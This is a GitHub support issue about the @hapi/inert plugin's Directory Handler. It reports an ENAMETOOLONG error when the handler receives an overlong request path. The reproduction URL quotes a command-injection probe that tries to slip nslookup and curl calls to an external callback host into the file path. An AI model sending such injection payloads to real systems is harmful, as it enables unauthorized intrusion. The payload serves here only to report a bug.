Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error: Failed to open file: ENAMETOOLONG #170

Open
elawad opened this issue Mar 22, 2023 · 1 comment
Open

Error: Failed to open file: ENAMETOOLONG #170

elawad opened this issue Mar 22, 2023 · 1 comment
Labels
support Questions, discussions, and general support

Comments

@elawad
Copy link

elawad commented Mar 22, 2023

Support plan

  • is this issue currently blocking your project? (yes/no): no
  • is this issue affecting a production system? (yes/no): yes

Context

  • node version: 20.12.0
  • module version with issue: 7.1.0
  • last module version without issue: n/a
  • environment (e.g. node, browser, native): node
  • used with (e.g. hapi application, another framework, standalone, ...): hapi
  • any other relevant information: n/a

What are you trying to achieve or the steps to reproduce?

Using the Directory Handler feature, we noticed server errors from possible traversal attacks on a static public folder.
https://hapi.dev/tutorials/servingfiles/?lang=en_US#directoryhandler

To fix the issue, we had to remove the directory handler in favor of the File Handler options. Where then custom logic was added to check the request.params.
https://hapi.dev/tutorials/servingfiles/?lang=en_US#fileoptions

But I was wondering if this error can be gracefully handled by Inert while using the Directory Handler.

const Hapi = require('@hapi/hapi');
const Inert = require('@hapi/inert');

const server = Hapi.server({
  port: 3000,
  debug: { request: '*' },
});

(async () => {
  await server.register([Inert]);

  server.route({
    method: 'GET',
    path: '/{filename*}',
    handler: {
      directory: { path: 'public' },
    },
  });

  await server.start();
})();

Make a GET request to:
http://localhost:3000/{{;(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)|(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)&(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)}}swagger-ui-bundle.js

What was the result you got?

Error: Failed to open file: ENAMETOOLONG: name too long

What result did you expect?

Possibly a 404, similar to how other invalid paths are handled.

@elawad elawad added the support Questions, discussions, and general support label Mar 22, 2023
@elawad elawad closed this as completed Mar 27, 2024
@elawad
Copy link
Author

elawad commented May 24, 2024

Issue still occurs using node@20 and @hapi/inert@7.1.0. Update description to reflect changes.

@elawad elawad reopened this May 24, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
support Questions, discussions, and general support
Projects
None yet
Development

No branches or pull requests

1 participant